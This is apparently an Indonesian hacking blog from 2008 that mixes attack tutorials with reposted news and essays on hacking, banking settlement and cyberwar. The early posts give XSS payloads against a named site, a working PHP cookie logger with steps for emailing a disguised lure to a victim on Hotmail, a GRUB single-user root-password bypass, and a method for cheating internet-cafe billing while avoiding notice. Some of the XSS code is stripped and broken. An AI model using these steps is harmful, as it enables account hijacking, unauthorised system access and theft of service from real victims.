Rabu, 26 November 2008

Sedikit penjelasan mengenai XSS vulnerability

Apaan sih XSS tuh ?
Mungkin anda yang akrab dengan dunia internet pernah men dengar istilah SQL Injection, XSS atau Cross Site Scripting. 2 kelemahan atau vulnerability pada sebuah website yang kerap kali dimanfaatkan oleh para cracker untuk menjalankan aksinya. Yang konon katanya, XSS ini juga di temukan oleh Mas Dani [ XNUXER Laboratory ] ketika melakukan pen-test situs KPU.go.id beberapa tahun lalu. XSS pun bisa digunakan untuk mencuri cookies, sehingga seorang cracker bisa menggunakan identitas orang lain dengan menggunakan cookies hasil curian. XSS biasanya digunakan oleh newbie hacker yang tidak memiliki explo untuk menjalankan aksi ilegalnya. :)

Maksudnya apaan sih, nggak ngerti !
Singkat cerita, metode XSS dan SQL Injection digunakan untuk melakukan deface pada sebuah website. Istilah familiarnya "nge-hack website" walaupun pada kenyataannya deface itu tidak sama dengan hacking. Deface sendiri memiliki arti, merusak sebagian atau keseluruhan dari isi website.

Caranya gimana ???
Caranya nggak susah-susah amat, anda hanya perlu menggunakan browser anda untuk memanfaatkan vuln ini. Contoh situs yang masih bisa di XSS adalah :

http://www.malesbanget.com/kamus/definisi.php?kata=

untuk mengetes apakah situsnya masih bisa di XSS anda bisa menambahkan setelah kata=

<*script>alert('Tes, XSS-nya masih bisa')<*/script> => untuk mengetest hapus karakter (*).

http://www.malesbanget.com/kamus/definisi.php?kata=<*script>alert('Tes, XSS-nya masih bisa')<*/script> => untuk mengetest hapus karakter (*).

kemudian tekan enter ...
kemudian akan muncul popup baru berisi 'Tes, XSS-nya masih bisa'

Terus ... ???
Masih banyak tag html yang bisa kita gunakan, tanya deh mamang Google. :)

contoh lainnya adalah :

http://www.malesbanget.com/kamus/definisi.php?kata=<*h1>Hacked by Me<*/h1> => untuk mengetest hapus karakter (*).

Cuma gitu doang ???
Iya... segitu dulu aja entar di lanjut lagi. Tunggu aja. :)

Selasa, 25 November 2008

Ngehack Hotmail

Apa itu Hotmail? Siapa sih yang tidak tahu Hotmail? Sebuah website email provider yang bisa dikatakan terbesar di dunia. Dia juga the only provider MSN Messenger.

Kerapkali, perusahaan yang berada dibawah bimbingan Microsoft ini dikatakan sangatlah aman, namun, benarkah semua persepsi itu??

Disini kita akan kita bahas mengenai sebuah XSS pendek yang bisa kita lakukan pada Hotmail email provider.

Bagaimana cara penggunaan exploit nya?
Singkat saja .. Karena saya lagi malas dan memang ini singkat koq ..
Pada dasarnya, pada kebanyakan website yang memiliki email service. Adanya 1 saja page pada entire website mereka yang memiliki celah XSS, akan berakibat FATAL .. !!! Tidak percaya?? Mari kita lihat ..

Belum lama ini tersebutlah sebuah exploit yang diketemukan oleh Nama tidak diketahui, namun script ini sudah disebarkan di beberapa tempat tertentu termasuk Astalavista dan beberapa tempat lain, tanpa adanya credit murni pada si penemu XSS, berikut adalah codenya:
CODE

http://sprite.msn.com/Comments.asp?Return=">


Selain itu juga menurut penelitian Th0R, ada juga code ini:
CODE

http://auction.jp.msn.com/dap/sv/list1?keyword=">


Nah .. Kita bisa gunakan 2 itu untuk ngehack ..
Percaya gak??
65.gif

Mari kita buktikan ..

Cara kerjanya:
Seperti biasa ..
Mulailah dengan membuat file bernama c.php yang berisikan code ini:
CODE

$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("m/d/Y g:i:s a");
$referer=getenv ('HTTP_REFERER');
$fl = fopen('log.txt', 'a');
fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n"); fclose($fl); ?>

Kemudian host kan lah itu script di tempat hosting anda .. Ingat !!! Harus support php .. Jangan lupa juga untuk membuat sebuah file text bernama log.txt yang tidak berisi kan apa apa .. Hostingkan juga di tempat yang sama dengan PHP code anda ..

Lalu buatlah sebuah file yang bernama a.html, yang berisikan:
CODE

Click here




Atau

CODE

Click here




Setelah itu ..
Bukalah email anda ..
Dan emailkan sebuah email yang memiliki attachment file HTML anda diatas tersebut. Setelah itu kirimkan lah ke victim anda ..
Disaat dia membuat attachment file dan melakukan click pada link "Click Here", maka cookies mereka akan ter-log ke dalam file log.txt anda di hosting.

Sekian~

Catatan Tambahan:
- Anda bisa merubah kode kode XSS diatas dengan berbagai code yang anda mengerti. Atau dengan keylogging XSS codes yang ada pada Section XSS di http://www.sate.name
- Anda bisa mengisikan HTML code dengan berbagai gambar atau code tertentu, sehingga berkesan lebih kearah informational letters, untuk menghindari kecurigaan.
- Pada website MSN masih ada beberapa tempat lain yang bisa dikatakan rawan XSS. Serangan tidak hanya ada disana ..

Sedikit Bocoran:
- Dengan sedikit modifikasi tertentu, anda bisa mendapatkan plain-text password atau informasi penting lain sang pengguna email.

NB: Kalau kurang ngerti, boleh lgsg ditanyakan disini. Maklum. Gw lagi agak mumet nih .. Lagi sakit kepala .. Kek gak isa mikir dengan baik ..

Tutorial Credit Goes to: Th0R
MSN XSS Goes to: The Author & Th0R
Special Thanks to: Someone i loved so much .. Thanks for everything ^^ Shoutz to: ToFlu, lanosian, parahlo, fLute, Jourdan, mamasbejoe a.k.a premature, koJom, High, StanZ, JepZ, Eve, KucipA, dan segenap Member SATE - Security Advisory TEam

>>> http://www.sate.name <<<

Thanks.
Th0R
Source: JASAKOM Information Center

Jadi Root di LINUX tanpa Password

1.) Defaultnya, pas di bootloader grub ada 2 pilihan yaitu Redhat Linux dan DOS.
Pilih, yang Redhat Linux, terus tekan e di keyboard.
Tombol e berguna untuk melakukan edit.

2.) http://h1.ripway.com/alk/grub.png
setelah itu, pilih bagian ke 2 atau 3, disitu tertulis kernel blablablablaba ...
tekan e dikeyboard

3.) Kemudian tambahkan s atau single dibelakangnya, kira kira seperti ini

kernel /boot/vmlinuz-2.6.15-1-686 root=/dev/sda1 ro single

setelah itu Escape.

4.) Masih dalam keadaan memilih kernel, kemudian tekan b di keyboard untuk Boot. anda akan di bawa
pada kedudukan root. Silahkan ketik passwd untuk mengganti password yang baru atau anda bisa
mengedit file /etc/shadow, untuk menghilangkan password pada root.

Jreng jreng jreng ... satu lagi, anda login sebagai administrator tanpa password

// Greetz :

- Fel_c, Mentari^, BLACK.SCORPIO, Zahra_Fakhrunisa, Lady_Sizuka, Upie, Ipank
- Allguys in #khilafah, http://www.jcunited.tk

Hacking Billing Warnet

Ini dia caranya …
Saat kita mulai menyalakan komputer di warnet yang pertama muncul saat windows dimulai adalah login screen client billing yang menutupi seluruh area windows. Fungsi Alt+Tab dan Ctrl+Alt+Del biasanya ikut-ikutan di-disable untuk memaksa kita login melalui program billing itu.
Sebenarnya saat kita menghadapi login screen itu komputer sudah siap dijalankan. Hanya terhalang oleh screen login yang menyebalkan itu. Naah… udah tau apa yang bakal saya jelasin ? Kalo udah tau, brenti aja bacanya. Daripada mati kebosanan )

Yess.. betul sekali. Yang perlu kita lakukan hanyalah menyembunyikan jendela login itu tanpa perlu login. Ada banyak progie buat nyembunyiin window, salah satunya ZHider. Saya hanya akan menjelaskan penggunaan ZHider. Bagi yang menggunakan progie laen silakan baca manualnya, tapi yang perlu diperhatikan adalah progie yang anda gunakan harus bisa show/hide window pake hotkey coz windows kita kan ditutupi sama login screen sialan itu.

Yang harus disiapkan:
1. Program ZHider. Cari sendiri pake om google. Ukurannya kecil kok, ga sampe setengah isi disket.
Aku nemunya pas smp tapi baru sekarang kepake ^^
2. Muka bego
3. Mental yang kuat

Langkah-langkahnya:

01. Masuk warnet dan pasang muka bego biar ga dicurigai operator
02. Pastikan selain box/bilik yang kita tempati masih ada box lain yang kosong. Biar ga dicurigai juga sih.
03. Usahakan cari tempat yang jauh dari op, supaya ga ketahuan box kamu kosong apa nggak.
04. Nyalakan kompi dihadapan anda bila masih dalam keadaan mati.
05. Saat masuk login screen, login aja seperti biasa.
06. Jalankan ZHider yang sudah disiapkan di disket/flashdisk. Kalo belom ada, cari aja pake google.
07. Setelah ZHider dijalankan langsung aja logout.
08. Naah, di login screen ini kita mulai aksi mendebarkan kita. Tekan Ctrl+Alt+Z.. Jreeeng, login screen telah menghilang !!!
09. Browsinglah sepuasnya, tapi tetap pastikan ada box lain yang kosong. Kan aneh kalau ada yang masuk warnet, dia lihat udah penuh. Padahal di billing server kelihatan masih ada yang belum login.
10. Kalo sudah puass tekan Ctrl+Alt+x untuk memunculkan kembali login screen yang menghilang entah kemana:)
11. Login seperti biasa dan browsing beberapa menit sampai penunjuk tarif sampai ke angka yang kita kehendaki. Ini supaya ga dicurigai.
12. Logout. SIapkan muka bego, lalu bayar tarif.

Cara ini lebih mudah dilalukan bila si operator ga terlalu kenal sama kamu. Apalagi bila si op sering keluyuran.

Ini beberapa hotkey ZHider yang bisa digunakan, untuk hotkey lainnya silakan baca file readme yang disertakan bersama zhider

CTRL+ALT+Z Menyembunyikan jendela aktif
CTRL+ALT+X Menampilkan kembali semua jendela yang disembunyikan
CTRL+ALT+L Menampilkan dialog zhider
CTRL+ALT+M Menampilkan kembali semua jendela yang disembunyikan, dan juga menutup zhider.

Kalo cara di atas ga bisa dilakuin, hentikanlah usahamu. Sesungguhnya perbuatan jahatmu tidak diridhai Tuhan )
Kalo ketahuan langsung pertebal “muka bego”-mu. Misalnya bilang “Eh, kok jadi gini ya? Kemaren ga gini kok.” Ato kata-kata lain, tergantung kreatifitas anda.

Minggu, 23 November 2008

Hacker Dunia Berkumpul di Indonesia Juni 2008

JAKARTA - Juni mendatang, Indonesia akan menjadi tuan rumah untuk event hacker terbesar di Indonesia. Event pertemuan hacker bertajuk Hacker's Night: Warning Biggest Hacker Days Event In Indonesia ini, konon akan mengundang tokoh, pakar, konsultan, dan para ekspert TI ternama di dunia untuk berkumpul dan berdiskusi di Jakarta.

Diawali ide seorang pengamat TI Enselmus Ricky, dikenal dengan nick Th0R, yang ingin mempertemukan hacker-hacker ternama dunia, dan InfoKom tertarik untuk mendengarkan idenya tersebut dan coba merealisasikannya dengan menjadi event organizer.

Kegiatan event ini meliputi diskusi dan sharing informasi seputar riset dan topik-topik menarik lainnya yang berkaitan dengan hacker. Selain itu, juga akan diadakan seminar yang melibati para ekspertis sebagai pembicaranya. "Namun, yang menjadi tujuan utama kami sebenarnya adalah untuk mengumpulkan hacker yang sebenarnya untuk datang dan bergabung pada event ini, baik menjadi pembicara maupun pendengar, yang pasti untuk berbagi ilmu dan pengetahuan seputar hacking," papar Anselmus secara ekslusif kepada okezone, Senin (12/5/2008). "Ya, Indonesia akan memiliki suatu hari penting bagi orang-orang yang ingin tahu, ingin belajar, atau ingin menjadi hackers," ujarnya.

Rencananya, event yang diadakan dengan dwibahasa, Bahasa Indonesia dan Inggris, akan diselenggarakan pada 12 Juni 2008, di Ruang Seminar Festival Komputer Indonesia, Jakarta Convention Center. Acara akan dimulai pada pukul 10.00 WIB hingga 17.00 WIB. Kemudian, akan dilanjutkan dengan acara sosialisasi ramah-tamah dan lainnya yang kemungkinan akan diadakan di bar atau pub.

Adapun yang menjadi pembicara nantinya adalah Onno W Purbo (pakar TI), Desmond Devendran (konsultan senior TI), Eko Indrajit (kepala ID-SIRTI), Anselmus Ricky (atau dikenal dengan Th0R), Semi Yulianto (Certified Trainer dari EC Council), Irvan (konsultan keamanan), dan Jim Geovedi (pakar sekaligus konsultan keamanan). Event ini rencananya juga akan diramaikan oleh beberapa tokoh besar, yakni Eugene Dokukin (yang dikenal dengan nick MustLive - Russia White Hat Hacker & Security Expert), Greg Hoglund, Johnny Long, dan Robert "RSnake" Hansen.

Ada beberapa harapan Th0R sebagai pencetus ide diadakannya event hacker terbesar ini, yakni ingin membuka dan mengubah pandangan masyarakat yang selama ini misinterpretasi antara hacker dan kracker. Lalu, berharap ini menjadi ajang sharing informasi yang lebih kompeten, karena pada event ini akan ada pembicaraan berbagai arah, seperti pembicara-peserta, peserta-pembicara, peserta-peserta.

Selebihnya, Th0R ingin memberitahukan kepada dunia, baik regional maupun global, kalau Indonesia juga punya orang-orang bermutu dan berkualitas. Dan, yang terakhir, diharapkan para ahli yang lama "bersembunyi", kini keluar dan membagi ilmunya kepada khalayak umum, supaya wacana pembelajaran InfoSec di Indonesia tambah maju dan berkembang.

"Masak luar negeri udah ngomongin BioMetric Hacking, di Indonesia BioMetricnya ajah gak ada,"


http://techno.okezone.com/index.php/...esia-juni-2008

Memberikan prospek yang baik untuk Indonesia

Bank Indonesia - Real Time Gross Settlement System

Untuk mendukung terciptanya sistem perbankan yang sehat, Bank Indonesia berkewajiban menjamin kelancaran sistem pembayaran di Indonesia. Bank Indonesia secara terus menerus melakukan pengembangan sistem pembayaran nasional (SPN) yang komprehensif, terintegrasi, terkelola secara efektif, efisien, aman, dan andal serta rendah resiko. Selain memenuhi kebutuhan berskala nasional, sistem pembayaran yang dilaksanakan Bank Indonesia dituntut agar terintegrasi dengan sistem pembayaran negara lain, terutama untuk menurunkan resiko settlement antar mata uang. Salah satu sistem yang dikembangkan oleh Bank Indonesia adalah Real Time Gross Settlement System (RTGS).

Sebelum diterapkannya BI-RTGS, mekanisme penyelesaian transaksi antar bank baik yang bersifat retail transaction maupun large value transaction dilakukan dengan sistem kliring (net settlement). Mekanisme ini dapat menimbulkan resiko pada akhir hari bahwa suatu bank akan mengalami kekalahan kliring dalam jumlah yang cukup besar. Apabila jumlah kekalahan ini melampaui saldo rekeningnya di Bank Indonesia, maka saldo bank tersebut akan menjadi negatif (overdraft) yang akan menyulitkan Bank Indonesia apabila bank tersebut tidak mampu menutup overdraft keesokan harinya.

Sistem BI-RTGS menggunakan metode gross settlement dimana setiap transaksi diperhitungkan secara individual dan dijalankan hanya apabila saldo rekening bank di BI mencukupi. Jika saldo rekening giro bank pengirim tidak mencukupi, transaksi akan ditempatkan dalam antrian (queue) sistem BI-RTGS. Transaksi ini baru akan di-settle apabila bank mendapatkan incoming transfer dari bank lain.

Dalam sistem gross settlement dapat terjadi intraday gap antara outgoing transaction dengan incoming transaction. Untuk mengatasi intraday gap ini kebanyakan sistem RTGS memerlukan adanya FLI (Fasilitas Likuiditas Intrahari). FLI bersifat fully secured karena bank peserta harus mem-pledge SBI dan atau obligasi pemerintah yang nilainya sekurang-kurangnya sebesar nilai FLI sebagai kolateral. Penggunaan FLI dilakukan secara otomatis pada saat rekening giro tidak mencukupi. Pada saat bank menerima incoming transfer maka secara otomatis akan mengurangi saldo FLI. Apabila bank tidak mampu mengembalikan tepat waktu maka FLI tersebut akan berubah menjadi Fasilitas Pendanaan Jangka Pendek (FPJP). Jika saldo giro tidak juga mencukupi untuk pelunasan FPJP maka pelunasan dilakukan dengan mengeksekusi agunan.

Sistem BI-RTGS diharapkan akan mampu memenuhi kebutuhan berbagai pihak terhadap tersedianya mekanisme pembayaran yang sangat cepat yang dibutuhkan oleh traksaksi yang mensyaratkan DVP (Delivery Versus Payment) seperti transaksi jual beli obligasi pemerintah, saham dan surat-surat berharga lainnya. Hal ini sangat penting untuk menurunkan resiko dalam pasar-pasar sekuritas tersebut.

Implementasi sistem BI-RTGS dilakukan secara bertahap. Tahap pertama, Bank Indonesia mewajibkan bank-bank yang beroperasi di Jakarta untuk menjadi peserta sistem BI-RTGS. Tahap berikutnya, sistem BI-RTGS akan diimplementasikan di semua wilayah Kantor Bank Indonesia (KBI). Sampai sekarang, sistem BI-RTGS telah diterapkan di 22 KBI dengan jumlah peserta langsung sebanyak 136 bank. Jumlah ini akan terus bertambah.

Untuk memastikan bahwa sistem BI-RTGS dapat beroperasi dengan aman, Bank Indonesia telah meminta independent IT auditor untuk mengaudit seluruh aplikasi maupun network yang digunakan dalam sistem BI-RTGS. Dalam menguji kehandalan sistem BI-RTGS, independent IT auditor tersebut telah pula melakukan penetration test untuk mengkaji kemungkinan adanya celah yang mungkin dapat dimanfaatkan oleh para hacker untuk menembus pertahan sistem BI-RTGS. Secara berkala IT audit akan tetap dilaksanakan agar sistem BI-RTGS tetap aman. Bank Indonesia sebagai host sistem BI-RTGS telah menyiapkan Disaster Recovery Plan (DRP) dan Disaster Recovery Centre (DRC) untuk meyakinkan bahwa sistem pembayaran di Indonesia telah didukung oleh infrastruktur yang handal untuk menekan/menghilangkan downtime. Bank peserta juga dianjurkan agar memiliki backup system yang memadai dan secara berkala seluruh peserta BI-RTGS juga diwajibkan untuk menguji coba backup dan DRP untuk memastikan bahwa segala sesuatunya senantiasa berjalan dengan baik.

Pentagon hacker vows to take extradition fight to Europe


Gary McKinnon's legal team said they will take their fight against his extradition all the way to the European Court of Human Rights on Monday, as the highest court in England began deliberations on whether to turn him over to US authorities.

The London hacker now faces an anxious wait for the judgment on his latest appeal, which is expected to take about two weeks.

During a day-long session of legal nit-picking, five Law Lords heard McKinnon's barrister, David Pannick QC, argued that the US had abused process by trying to strong-arm his client into accepting extradition and pleading guilty.


Gary McKinnon at Infosec 2007
'Play by our rules'

Pannick told the hearing: "If the United States wish to use the processes of English courts to secure the extradition of an alleged offender then they must play by our rules."

It emerged that in exchange for compliance, US prosecutors offered to withdraw a threat to block any application for McKinnon to be repatriated to serve most of his time in a UK jail. This threat is central to his lawyers' claims of abuse of process.

The bargain offered by the US Embassy's Ed Gibson (who is now Microsoft UK's chief security adviser) for a guilty plea would reduce his sentence from eight-to-ten years, to between three and four years. Combined with the UK's more generous parole system, that would mean that McKinnon might have served only two years in prison.

In her evidence, McKinnon's solicitor Karen Todner said that in their correspondence the US had told her that failure to play ball would mean "all bets were off" and that repatriation to the UK "would not occur". This threat, charged McKinnon's team, "sought to impose pressure to accept extradition and plead guilty", and represented an unlawful abuse of the court process that was "disproportionate [and] reprehensible".

Prosecutors exaggerated their influence over the repatriation process, said Pannick, in a bid to secure McKinnon's co-operation, and that had "made it all the worse". Edward Fitzgerald QC, who provided supporting intervention at the hearing on behalf of the civil liberties charity Liberty, said: "What the prosecution [was] saying is 'I have immense powers and I will use them against you'."

McKinnon has admitted taking advantage of lax security in US systems to install covert software that gave him control of settings and access to files. He was looking for evidence of UFOs. He has not admitted causing hundreds of thousands of dollars of damage, a claim at the heart of the US government's allegations.

Clare Montgomery QC, acting for the US government, disputed this, saying if McKinnon had refused to cooperate he would have still been considered for a return to the UK. "This was very close to the type of plea bargaining that might occur here... this was not a case of 'we [US prosecutors] can give or withold the right to transfer [to the UK]'" she told the Lords.

Montgomery also echoed comments from one of the Lords sitting, Baroness Hale, who had suggested that the deal offered to McKinnon might simply have been "the facts of life", rather than a threat, and that it offered him significant benefits. She scorned calls for Gary McKinnon to face trial in the UK, saying: "He must have appreciated as he hacked into American computers that he was committing an act that would have had repercussions in America."
On a knife-edge

In the Palace of Westiminster corridors after the hearing, the consensus among the gathered legal minds was that the case is poised on a knife-edge. Nevertheless, McKinnon's team were cautiously upbeat.

McKinnon himself attended only the morning session of the hearing, flanked by family and supporters. Win or lose, the saga is set to continue for some time.

Victory will override the extradition treaty between the US and UK, and mean the case goes all the way back to Magistrate's court. In that scenario, unlike during the process seen so far, judges will consider US evidence against McKinnon. The treaty has not been ratified by Congress so does not allow the UK to reciprocally extradite suspects from the US without evidence hearings.

Defeat would be a major blow, but McKinnon's team said outside the hearing that it would be by no means the last stand. The precedent set by the European Court of Human Rights in the Babar Ahmad case makes a challenge there likely, said solicitor Karen Todner.

And that can take years. ®

Hack the Google self.referentialism – Google Will Eat Itself

How can a dictator be funny for the people? One chance is to know how to entertain the people, while continuing to influence every decision they make, so invisibly maintaining the totalitarian power untouched.

Google's management knows very well how to entertain surfers. They are not a (totalitarian) government, but they are the first, and almost only reference for most of the internet users. Moreover they periodically announce and release new, effective (and entertaining) services. People like these services. People want them and want even more of them.

It's not a Microsoft-like type of monopoly at all. On the Google planet everything works and is easy and funny. Everything is light (as the interface) and tasty (as the images search), resource-rich (as Gmail) or fast and updated (as Google News). So the "cream" of fun and the "strawberries" of interesting results are flavouring the Google dictatorship. In fact we're talking of a monopoly, or so, in a certain number of strategical net economy sectors.

The Google database is an incredibly valuable bunch of data. It's constituted by the most visited pages of the net. But they are selected through the Google's page rank algorithm. It's the paradigm of their self-referential game: the moment they had enough credibility they established the web filter criteria, and then, being the first source, they decided what the content of this source would be.

On the other hand the database of searches and the requests of other services (news, images, cheap prices, personal mail) is even much more relevant. In fact, it can be localized and statistically analyzed, and crossing locative, general and product searches, constitutes the secret dream of every Internet marketing executive. It deals to a frightening perspective of 'profiling' the Google's users.

The common perception is that Google offers chances of augmenting the personal information power in exchange of small and digestible amount of advertisement.

But all the recorded data (the queries and their respective users) are simply ignored by the users, which are hypnotized by an almost perfect virtual machine.

This funny empire has another crucial element: the advertisement. Goggle is the biggest player in the net advertisement business (actually adv is its core business). Being the most visited search engine, it attracts billions of users. Their billions of eyeballs are seeing Google's pages with the above mentioned textual advertisments, that everybody can fairly buy (AdWords).

On the other end, tons of people have become "publishers" through the giant blog phenomenon. So they are entitled to share the bits of profits through the Adsense program. They accept to display this tiny text advertisment in exchange of a small amount of money for every click on them. This process is protected and monitored for preventing abuse.

The final (actual) scenario is Google as the giant middleman. It sucks money from the advertisers offering a targeted portion of the global webspace. And it gives spare changes to the publishers for their collaboration. It sucks infos from the websites (and news, images, prices) and it releases it to the user's queries. Being in the middle it is more and more the unavoidable balancing center of the system. But we're not talking about a natural systems. We're talking about business and predominance.

Google's position is predominant in the same moment it enteres a new business field with a new service. It's the Google effect: creating consensus on a new business, even if it instantly gets the predominant position.

The greatest enemy of such a giant is not another giant: it's the parasite. If enough parasitites suck small amounts of money in this self-referentialism embodiment, they will empty this artificial mountain of data and its inner risk of digital totalitarianism.

http://www.gwei.org

Hacker Tricksfor Attacking Web Apps

Why Does This Affect PHP Developers?

Malicious hackers:

  • can earn $$$
  • have big‐time imagination (at least the elite ones)
  • spend more time thinking about security holes than the typical developer
  • have a strong and growing community of developers and other experts
  • can have a poor batting average and still win

Hacker (popular usage) != Hacker (geek usage)

http://en.wikipedia.org/wiki/Hacker
http://en.wikipedia.org/wiki/Hacker_definition_controversy
‘nuffsaid

Feed an Onion to the XSS Filter

A basic filter might remove

CYBERSPACE THE NEW WAR FRONTIER

Cyberspace is an ever-expanding global digital network which links many aspects of life, including business and communications.

While new technologies allow for enormous gains in efficiency, productivity and communications, they also create new threats from those who harbour bad intentions towards us.

The same infrastructure that we utilise to transmit information creates new opportunities for those engaging in cyberwar.

The cyberwar being waged today involves the exploitation of ICT (information and communications technology), which the adversaries might use as a new attacking platform.

This is because many computer systems in the world are interconnected through a public telecommunications infrastructure or the Internet.

In the article Cyberwar and Netwar: New Modes, Old Concepts, of Conflict, John J. Arquilla and David F. Ronfeldt refer to cyberwar as “disrupting or destroying information and communication systems and turning the balance of
information and knowledge in one’s favour, especially if the balance of forces is against one.”

Today, cyberspace is the new war frontier whenever there are conflicts between countries.

The popular method of a cyberattack is the defacement of websites. Web defacement is a malicious activity in which a website is vandalised.” Often the hacker replaces the site’s content with a specific political or social message. The hacker might even erase all the content from the site by relying on known security vulnerabilities to access the site’s content.

Below are some cases of cyberwar as reported in the media.



China-Taiwan
During the Taiwanese presidential elections in August and September 1999, pro-Chinese hackers acted against Taiwan.

They compromised about 165 Taiwanese websites, mainly defacing them, over the two-month period.

Their ultimate goal was to negatively affect and bring down Taiwan's infrastructure.

Among the targeted sites were those of electricity, economic institutions, telecommunications and air-traffic control.



India-Pakistan
India and Pakistan have in the past engaged in cyber protest in disputes involving national and ethnic differences.

After a cease-fire in the Kashmir Valley in 2000, hackers of both countries continued with hostile activities.

A group known as G-Force Pakistan was the most active hacker group claiming involvement in the cyberwar.

The pro-Pakistan hackers defaced more than 500 Indian websites, while only one Pakistani website was hacked into by the Indians.



United States-China
The United States and China have also been involved in cyberwar especially in 1999 and 2001.

These cyberwars typically occur after incidents of military conflict on the battlefield. The first cyberwar began after the United States accidentally bombed the Chinese Embassy in Belgrade, Yugoslavia, during the NATO (North Atlantic Treaty Organisation) air campaign in May 1999.

Many of the US websites were defaced and massive e-mail campaigns were executed to gain sympathy and support for China.

For example, the US Departments of Energy and the Interior, and the US National Park Service suffered website defacements.

The White House website was taken down for three days after it was continually mail-bombed.

The next cyberwar, which occurred in May 2001, resulted from an incident where a Chinese fighter was lost at sea after colliding with a US naval reconnaissance plane.

It also coincided with the second anniversary of the Chinese Embassy bombing by the United States in Belgrade and the traditionally celebrated May Day and Youth Day in China.

The attacks were led by the Honkers Union of China (HUC) who defaced and crashed over 100 websites, mainly government and commercial sites.

The Chinese hackers posted pictures of the dead Chinese pilot Wang Wei with profane messages calling for the downfall of the United States.

Pro-United States hackers responded with similar defacements to over 300 Chinese websites.



Palestine-Israel
The cyberwar between the Israeli and Palestinian hackers began five years ago when the prolonged peace talks between the two countries broke down.

In 2000, about 40 Israeli websites and at least 15 Palestinian sites suffered defacements at the hands of hackers.

The Israeli hackers performed denial-of-service (DoS) attacks on websites belonging to the Palestinians.

The pro-Palestinian hackers hit Israeli websites and posted messages such as "Free Palestine" or "Free Kashmir."

In this cyberwar, it was reported that the pro-Palestinian hackers got help from the G-Force Pakistan hackers.

During this time, several US websites were also hacked into by the pro-Palestinian hackers. The hackers took down a lobbyist group’s website, posting online group membership information and credit card numbers.



Japan-South Korea
During the first week of April 2001, pro-South Korean hackers attacked Japanese organisations responsible for the approval of a new history textbook.

The textbook allegedly glossed over actions committed by the Japanese Forces during World War II.

The perceived reluctance of Japan to accept responsibility for its actions during World War II triggered anger from the South Koreans.

It was reported that a majority of the hackers were South Korean University students. The students crashed several websites, including those belonging to Japan's Education Ministry, Liberal Democratic Party and the publishing
company responsible for the textbook.



Japan-China
In early August 2001, pro-Chinese hackers targeted Japanese websites after Japan's Prime Minister visited a controversial war memorial, the Yasukuni Shrine.

In a short period of time, Chinese hackers defaced several websites belonging to Japanese companies and research institutions.

Tensions have been rising again between Japan and China this year when the Japanese Government announced that its companies would have the right to drill for oil and gas in a disputed area of the East China Sea.

The situation worsened in April after the Japanese Government approved a history textbook that China says whitewashes Japan's wartime record during World War II.

Several Japanese government websites experienced problems where access to the affected homepage was hindered. It was reported that a Chinese website had urged Internet users to flood Japanese servers with irrelevant data.



Malaysia-Indonesia
A maritime territorial dispute in the Sulawesi Sea between Malaysia and Indonesia had moved into cyberspace in March as Indonesian hackers launched cyberattacks on Malaysian websites.

Many of the websites affected, including several government department websites, were defaced with hate messages against the Government of Malaysia.

MyCERT (www.mycert.org.my) reported that 256 Malaysian websites were hacked into in the first quarter of 2005, compared with only 42 in the preceding quarter.



Conclusion
The impact of web defacements is great. It not only affects a country’s security, but also its economy and culture.

Hackers can replace the information on websites with controversial content. They can even take full control of these websites and manipulate the information.

Hence, there is no longer integrity and confidentiality of information. If such cyberattacks become more rampant, Internet users could lose their trust in the Internet as a platform for online business especially when it comes to
transactions using credit cards.

Hackers could also place inappropriate pictures on affected websites. This could embarrass the owners of the websites especially if the site belongs to the government or any highly-reputable organisation.

Web administrators must take full responsibility to protect their systems from cyberattacks. They need to patch their systems regularly in order to avoid vulnerabilities from being exploited by hackers.

Web administrators must also play an active role in ensuring that they are familiar with the latest trends and security issues in order to protect their systems from cyber attacks.